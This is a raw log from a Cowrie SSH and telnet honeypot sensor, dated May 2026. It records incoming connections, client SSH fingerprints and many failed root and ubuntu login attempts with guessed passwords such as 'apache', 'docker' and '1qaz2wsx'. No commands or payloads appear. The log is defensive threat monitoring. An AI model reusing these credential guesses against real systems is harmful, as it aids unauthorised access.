{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:59.918648Z","src_ip":"120.48.55.108","session":"f9fc126ea4e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:00.165556Z","src_ip":"120.48.55.108","session":"f9fc126ea4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50472,"dst_ip":"159.203.135.109","dst_port":23,"session":"137c45343c00","protocol":"telnet","message":"New connection: 135.148.14.151:50472 (159.203.135.109:23) [session: 137c45343c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:01.449265Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:02.659084Z","src_ip":"120.48.55.108","session":"f9fc126ea4e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:03.926808Z","src_ip":"120.48.55.108","session":"f9fc126ea4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":50752,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8b92536b811","protocol":"ssh","message":"New connection: 120.48.55.108:50752 (10.17.0.5:22) [session: c8b92536b811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:04.423105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:04.431149Z","src_ip":"120.48.55.108","session":"c8b92536b811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47652,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c6c6218ce58","protocol":"ssh","message":"New connection: 87.251.79.125:47652 (10.17.0.5:22) [session: 7c6c6218ce58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:05.968111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:05.973202Z","src_ip":"87.251.79.125","session":"7c6c6218ce58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:06.047007Z","src_ip":"87.251.79.125","session":"7c6c6218ce58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bubble","message":"login attempt [root/bubble] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:06.269262Z","src_ip":"87.251.79.125","session":"7c6c6218ce58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:07.345320Z","src_ip":"87.251.79.125","session":"7c6c6218ce58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.766297101974487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:24.496271Z","src_ip":"135.148.14.151","session":"8fb5d8916db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48472,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2576b73021","protocol":"telnet","message":"New connection: 135.148.14.151:48472 (159.203.135.109:23) [session: 1e2576b73021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:29.730030Z"}
{"eventid":"cowrie.session.closed","duration":0.005848407745361328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:29.735738Z","src_ip":"135.148.14.151","session":"1e2576b73021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54735350608826,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:37.996482Z","src_ip":"135.148.14.151","session":"137c45343c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":46544,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae278e54671f","protocol":"ssh","message":"New connection: 45.147.249.81:46544 (159.203.135.109:22) [session: ae278e54671f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:42.072223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:42.076558Z","src_ip":"45.147.249.81","session":"ae278e54671f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:42.148792Z","src_ip":"45.147.249.81","session":"ae278e54671f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:42.472894Z","src_ip":"45.147.249.81","session":"ae278e54671f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:43.549063Z","src_ip":"45.147.249.81","session":"ae278e54671f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41544,"dst_ip":"159.203.135.109","dst_port":23,"session":"0001536c5ef6","protocol":"telnet","message":"New connection: 135.148.14.151:41544 (159.203.135.109:23) [session: 0001536c5ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:46.029457Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":52344,"dst_ip":"10.17.0.5","dst_port":22,"session":"59a7a45e4a9c","protocol":"ssh","message":"New connection: 147.45.197.250:52344 (10.17.0.5:22) [session: 59a7a45e4a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:46.628492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:46.636799Z","src_ip":"147.45.197.250","session":"59a7a45e4a9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:46.730360Z","src_ip":"147.45.197.250","session":"59a7a45e4a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20101986","message":"login attempt [root/20101986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:47.010550Z","src_ip":"147.45.197.250","session":"59a7a45e4a9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:48.107200Z","src_ip":"147.45.197.250","session":"59a7a45e4a9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42870,"dst_ip":"159.203.135.109","dst_port":23,"session":"def286b19c00","protocol":"telnet","message":"New connection: 135.148.14.151:42870 (159.203.135.109:23) [session: def286b19c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:48.710190Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":60840,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb960c457df8","protocol":"ssh","message":"New connection: 193.37.70.224:60840 (159.203.135.109:22) [session: cb960c457df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:52.270463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:52.275839Z","src_ip":"193.37.70.224","session":"cb960c457df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:52.369756Z","src_ip":"193.37.70.224","session":"cb960c457df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"52525252","message":"login attempt [root/52525252] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:52.649646Z","src_ip":"193.37.70.224","session":"cb960c457df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:53.750237Z","src_ip":"193.37.70.224","session":"cb960c457df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:55.046950Z","src_ip":"120.48.55.108","session":"c8b92536b811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:58.591099Z","src_ip":"120.48.55.108","session":"c8b92536b811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"55.4","message":"Connection lost after 55.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:42:59.836589Z","src_ip":"120.48.55.108","session":"c8b92536b811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":46940,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a8550b21ddc","protocol":"ssh","message":"New connection: 120.48.55.108:46940 (10.17.0.5:22) [session: 2a8550b21ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:00.072300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:00.082686Z","src_ip":"120.48.55.108","session":"2a8550b21ddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:00.304090Z","src_ip":"120.48.55.108","session":"2a8550b21ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:01.868223Z","src_ip":"120.48.55.108","session":"2a8550b21ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:03.645236Z","src_ip":"120.48.55.108","session":"2a8550b21ddc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":51310,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaf8fe819d41","protocol":"ssh","message":"New connection: 120.48.55.108:51310 (10.17.0.5:22) [session: eaf8fe819d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:03.882489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:03.891742Z","src_ip":"120.48.55.108","session":"eaf8fe819d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:04.119756Z","src_ip":"120.48.55.108","session":"eaf8fe819d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:04.848247Z","src_ip":"120.48.55.108","session":"eaf8fe819d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:06.161179Z","src_ip":"120.48.55.108","session":"eaf8fe819d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":53180,"dst_ip":"10.17.0.5","dst_port":22,"session":"bceb2d4066a7","protocol":"ssh","message":"New connection: 120.48.55.108:53180 (10.17.0.5:22) [session: bceb2d4066a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:07.440596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:07.461410Z","src_ip":"120.48.55.108","session":"bceb2d4066a7","protocol":"ssh"}
